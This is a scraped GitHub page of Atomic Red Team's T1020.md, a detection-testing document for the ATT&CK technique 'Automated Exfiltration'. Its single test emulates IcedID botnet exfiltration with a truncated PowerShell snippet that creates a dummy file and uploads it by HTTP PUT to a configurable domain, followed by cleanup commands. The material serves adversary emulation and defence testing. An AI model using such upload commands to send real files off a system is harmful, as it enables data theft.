

Product

▼

Solutions

▼

Resources

▼

Open Source

▼

Enterprise

▼

Pricing

Q

Sign in

Sign up

📄

redcanaryco / atomic-red-team

Public

🔔

Notifications

🍴

Fork

2.8k

★

Star

9.7k

<>

Code

🕒

Issues

6

🔗

Pull requests

5

🎬

Actions

📖

Wiki

🛡️

Security

📊

Insights

📁

Files

🔗

f339e7d

▼

🔍

🔍

Go to file

>

📁

.github

>

📁

atomic_red_team

▼

📁

atomics

>

📁

Indexes

>

📁

T1003.001

>

📁

T1003.002

>

📁

T1003.003

>

📁

T1003.004

>

📁

T1003.005

>

📁

T1003.006

>

📁

T1003.007

>

📁

T1003.008

>

📁

T1003

>

📁

T1006

>

📁

T1007

>

📁

T1010

>

📁

T1012

>

📁

T1014

>

📁

T1016

>

📁

T1018

▼

📁

T1020

📄

T1020.md

📄

T1020.yaml

>

📁

T1021.001

>

📁

T1021.002

>

📁

T1021.003

>

📁

T1021.006

>

📁

T1027.001

>

📁

T1027.002

>

📁

T1027.004

>

📁

T1027

>

📁

T1030

>

📁

T1033

>

📁

T1036.003

>

📁

T1036.004

>

📁

T1036.005

atomic-red-team / atomics / T1020 / T1020.md

📄

...

🐙

CircleCI Atomic Red Team doc...

Generate docs from job=genera...

🗨️

bc21f59 · 3 years ago

🕒

History

Preview

Code

Blame

56 lines (32 loc) · 1.61 KB

Raw

📄

📥

☰

T1020 - Automated Exfiltration

Description from ATT&CK

Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.

When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](#) and [Exfiltration Over Alternative Protocol](#).

Atomic Tests

- [Atomic Test #1 - IcedID Botnet HTTP PUT](#)

Atomic Test #1 - IcedID Botnet HTTP PUT

Creates a text file
Tries to upload to a server via HTTP PUT method with ContentType Header
Deletes a created file

Supported Platforms: Windows

auto_generated_guid: 9c780d3d-3a14-4278-8ee5-faaeb2ccfbe0

Inputs:

Name	Description	Type	Default Value
file	Exfiltration File	String	C:\temp\T1020_exfilFile.txt
domain	Destination Domain	Url	https://google.com







Attack Commands: Run with **powershell**!

```
$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfi
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -
```

Cleanup Commands:

```
$fileName = "#{file}"
Remove-Item -Path $fileName -ErrorAction Ignore
```

Page 1 of 2

- >  T1036.006
- >  T1036
- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005

